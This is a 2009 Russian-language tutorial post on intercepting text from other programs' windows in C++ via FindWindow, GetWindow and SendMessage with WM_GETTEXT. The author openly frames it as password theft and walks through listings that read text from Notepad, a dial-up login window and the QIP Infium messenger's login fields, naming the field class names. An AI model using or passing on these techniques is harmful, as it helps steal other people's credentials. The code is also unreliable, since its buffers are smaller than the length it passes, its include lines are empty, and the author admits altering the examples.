|
Motorcode, 2009
Uraniumcode@gmail.com
Перехват текста из окон.
Как интересно почувствовать себя секретным агентом и читать то что пишут другие! Для некоторых это мечта детства. Но сегодня, в век компьютеров, это может сделать каждый, кто хоть немного знаком с программированием. Тут я немного слукавил, но суть одна и таже.
Итак, что нам сегодня понадобится: Голова(1 штука), компилятор C++( тоже одна штука), доступ в интернет(если вы не скачиваете весёлые картинки, то одна штука) и конечно же время(довольно много).
ВНИМАНИЕ!! Некоторые примеры в данном тексте изменены с целью защиты от дурака. Это я сделал для того чтобы просто тупа не копировали исходники, а ещё и разобрались что копировать:) Но и поняли как это работает.
Для начала найдём функции с помощью которых, мы будем перехватовать текст. Эта функция называется SendMessage(её описание можно прочитать естественно в MSDN). Передаём ей значение WM_GETTEX и прочитываем прочтённый текст;) Тут конечно не всё так просто как написано, для начало ведь надо ещё поймать окно. Но в этом нет ничего сложного и сейчас я это докажу. Для первого примера, будем пытаться прочитать что написано в блокноте. Запускаем Notepad.exe, сохраняем под каким — нибудь простым именем, и записываем туда что — нибудь(например пароль от контакта)
Листинг 1.1
#include
#include
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
HWND ha = FindWindowA(NULL,"54 - Блокнот");
HWND hs = FindWindowExA(ha,NULL,"Edit",NULL);
char*a = new char[100];
SendMessageA(hs, WM_GETTEXT, 256, (LPARAM)a);
cout << a;
return 0;
}
Сначала находим окно самого блокнота(54 — Блокнот это имя, у вас оно может быть конечно другим), потом ищем имя класса, который отвечает за ввод. И это самое интересное, потому что в разных программах разное имя классов. И тут есть два способа искать эти имена.
Или сделать простенькую программу для этого. Например такую:
Листинг 1.2
#include
#include
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
char*buff = new char[100];
HWND ha = FindWindowA(NULL,"54 - Блокнот");
HWND hs = GetWindow(ha,GW_HWNDNEXT);
GetClassName(hs,buff,100);
cout << buff;
return 0;
}
Опять же находим первое окно, потом ищем что у нас находится следующем(о других вариантах в msdn), пропускаем через функцию GetClassName и смотрим что нам выдаёт. Для этого это значение, подставляем в FindWindowEx(), если эта функция возвратила нам не ноль, то такой класс имеет место быть. Конечно это не доработанный вариант, но при наличии времени и желания, можно сделать и всё как надо.
Но это если ручками, а можно всё сделать и автоматом. Для этого надо скачать программу Spy++. Она всё сделает сама.
Продолжим рассматривать пример в листинге 1.1. Мы остановились на FindWindowEx, дальше только вызываем SendMessage и считываем текст в данном случаи из блокнота. Запускаем и видим, что текст который в блокноте отобразился у нас. Отлично! Первая победа. Но теперь попробуем считать откуда-нибудь по интереснее. Например из окошка при запуске интернета. И попробуем забарабать себе пароли. У первой строчки значение Edit, а вот у второй предлагаю подумать, тем более это не так сложно.
Теперь по пробуем взять пароли у самого QIP Infium. И это не product placement. Просто на данный момент он у меня установлен.
Листинг 1.3
#include
#include
using namespace std;
int _tmain(int argc, _TCHAR* argv[])
{
HWND ha = FindWindowA(NULL,"QIP Infium"); //"QIP Infium"
HWND fe = GetWindow(ha,GW_CHILD);
HWND fan = GetWindow(fe,GW_HWNDNEXT);
HWND dif = GetWindow(fan,GW_HWNDNEXT);
HWND her = GetWindow(dif,GW_HWNDNEXT);
HWND wqq = GetWindow(her,GW_HWNDNEXT);
char*buff = new char[100];
char*fack = new char[100];
char*bor = new char[100];
GetClassNameA(wqq,buff,100);
HWND hs = FindWindowExA(ha,NULL,buff,NULL);
char*a = new char[100];
SendMessageA(hs, WM_GETTEXT, 256, (long)a);
cout << a << "\n";
GetClassNameA(dif,bor,100);
HWND hqq = FindWindowExA(ha,NULL,bor,NULL);
char*b = new char[100];
SendMessage(hqq,WM_GETTEXT,256,(long)b);
cout << b << "\n";
return 0;
}
В принципе, тут мы делаем всё тоже что и делали в первом примере. Только тут мы сначала находим те самые поля, откуда будем тырить пароли. Сразу скажу, что эти поля называются,
TinfuComboBox.UnicodeClass и TinfuEdit. UnicodeClass. Это подтверждает, мою фразу, что в разных программах, разные и имена классов. Конечно, листинг 1.3 можно и сократить, но я решил показать путь как я на это вышел.
Я рассмотрел только базовые примеры, но на этой основе можно перехватить любые окна(конечно, которые не защищены). Удачи в поисках!
Автор: Motorcode | Добавлено: 12.10.2009, 12:22 | Просмотров: 14463
Добавить комментарий
|
|